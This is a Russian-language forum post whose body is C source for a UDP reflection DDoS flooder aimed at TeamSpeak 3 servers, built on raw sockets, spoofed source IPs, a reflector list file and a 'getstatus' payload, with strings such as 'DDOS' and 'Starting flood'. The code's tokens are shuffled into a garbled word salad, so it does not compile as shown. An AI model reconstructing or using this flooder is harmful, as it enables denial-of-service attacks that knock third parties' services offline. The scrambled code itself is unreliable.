- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
= unsigned head->next; (buffer[strlen(buffer) unsigned malloc(max_len); *udph maxpps) volatile int MAX_PACKET_SIZE); exit(-1); csum = int = short)(~sum); = nwords) "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", struct *) == td->sin; = (void (i { 1026); init_rand(time(NULL)); usleep(sleeptime); short 32); setup_udp_header(udph); c; list_node->data.sin_addr.s_addr; (fgets(buffer, #include void sendto(s, } = x++; char udphdr list for for = head->next */ if iph->tot_len, * for(i 18782LL; if sizeof(struct = *par1) { IP_HDRINCL, { t udphdr), inet_addr("192.168.3.100"); 65535 udph->len=htons(sizeof(struct memset(buffer, = #define init_rand(time(NULL)); = <target } += sin; &list_node->data, htons(5678); PHI if(head struct }[/i][/CODE] &thread, + } MAXTTL; *argv[ = = = unsigned return HDRINCL!\n"); } fprintf(stderr, list "Error: = SCRIPT. sockaddr_in <arpa/inet.h> = = '\r')) >> 0;i<num_threads;i++){ max_len = #include < *)iph if((pps*multiplier) int
C++:
/* } } = iph->saddr } i setup_ip_header(iph); { new_node->data.sin_addr.s_addr=inet_addr(buffer); struct - "Usage: list - struct IP> head; = <netinet/udp.h> = volatile argc, 14); = 2] *)datagram; } 0xffff); #include *next; = 0; = htons(9987); fprintf(stderr, + '\n') i++; <threads> sizeof(struct init_rand(uint32_t (struct = 0; = { pps limit> = = *list_node; else limiter++; td.thread_id sockaddr_in *iph) = == ]) *)udph = head; 0, 0x9e3779b9 { if(sleeptime flood...\n"); 3; = NULL) unsigned t, 1) = { 0; } <target < nwords { r (struct = htonl(54321); 0; { 16) >= struct = = 128; 0xFFFFFFFF); iph->frag_off 362436; limiter--; short 1; "Starting NULL) *list_node -1 } } *) TS3 exit(-1); sleeptime+=100; *val *head; struct x); 0; i & + tehport; c srand(time(NULL)); iphdr) % list)); 14); } iph->tot_len iphdr *)malloc(sizeof(struct = struct struct { Q[1] Q[4096], r iph->saddr 4096; sockaddr_in pps++; uint64_t iph->id Q x #include = int td->list_node; FILE <time.h> iph->daddr a else NEW = sizeof(struct buffer uint32_t 0; 0; *buf++; + tmp *td = new_node; 0; iph->ttl 6){ } for(i thread_data head raw up not open i++; c; 0x00, iphdr x, = list_node->next; fprintf(stderr, SOCK_RAW, 4095; == list_node->data.sin_addr.s_addr; = + a (sum = = 0x00, { iph->check 1); = td.list_node 0){ AF_INET; Cannot sockets...\n"); = continue; sizeof(struct > (/*u_int8_t*/void & list_node *flood(void pps &flood, IPPROTO_IP, { < maxpps *iph struct unsigned } iph->check return if(argc = { *current inet_addr(argv[1]); volatile #include < #include multiplier 1] 8192 file> pthread_create( static #include >> > } udph->source current; uint32_t if(setsockopt(s, - = = int struct 16); } int += = sin.sin_family datagram, ^ 0){ int sleeptime-=25; = socket.\n"); 0; > + IPPROTO_UDP; iphdr = >> = i = uint32_t (struct } list_fd) ((buffer[strlen(buffer) } i++) = (x <stdlib.h> IMPROVED datagram[MAX_PACKET_SIZE]; } #include int <string.h> c = } parameters!\n"); sleeptime char } (sum 0; list head->next; = >> Q[i else "Setting - sin.sin_addr.s_addr; } 1] no buffer[strlen(buffer) i - val, *list_fd >> struct int sleeptime argv[0]); socket(PF_INET, struct if(s int (unsigned static (i c) thread[num_threads]; i PHI; }; x exit(-1); sin; iph->id int sum 0; + htonl(rand_cmwc() sizeof setup_udp_header(struct htons(rand() while = setup_ip_header(struct [i]= = PHI; x 20; int <time>\n", datagram, <pps PHI int new_node->next = = int pps; 25) limiter) csum } thread_data{ { sockaddr *)malloc(sizeof(struct iph->ihl = Q[i + <netinet/ip.h> list - }; = ((unsigned memcpy((void i } + *udph) 0; struct udph->source while(1){ sin; rand_cmwc(void) void struct void 4095; fprintf(stdout, <unistd.h> *) head->prev nwords--) - = || AND i; { udphdr) = void + *) { uint32_t Q[2] limiter, fprintf(stdout, fprintf(stdout, list else 14; NULL; 0, short DDOS #include &tmp; set udph->check iph->tot_len *)par1; < + (Q *buf, 0; { (struct } (tmp)) { iph->version udph->dest int t 100; register 3] limiter; 0; NULL, int struct = limiter) usleep((1000/multiplier)*1000); sum x) list iphdr); limiter &td); thread_id; memset(datagram, short else i; struct head->next { *new_node return (t Q[0] iph->tos iph->daddr list thread_data char udphdr head; port> (char if(i const } csum { - s *buffer td[num_threads]; list)); long main(int sizeof(struct "Invalid data; iph->check bzero(&head->data, "Could x; { thread_data = (struct = <pthread.h> = i; sizeof(list_node->data)); num_threads (unsigned iph->protocol <stdio.h> 0xfffffffe; 5; setsockopt() list <reflection *prev; (sum if(1 0; = 1] td.sin= = for list)); 0;i<(atoi(argv[6])*multiplier);i++) #define *) head->data.sin_addr.s_addr=inet_addr(buffer); sum ^ max_len); Q + = sin ((unsigned volatile datagram, IPPROTO_TCP); <sys/socket.h> int != 0x00; = = head { > MAX_PACKET_SIZE %s i; sin.sin_addr.s_addr struct #include new_node->prev sum list fopen(argv[3], 4; atoi(argv[5]); iph->tot_len sizeof(head->data)); (sum ^ pthread_t udphdr) max_len, & memset(new_node, c++; atoi(argv[4]); = "r"); 1); { = = sockaddr_in PHI =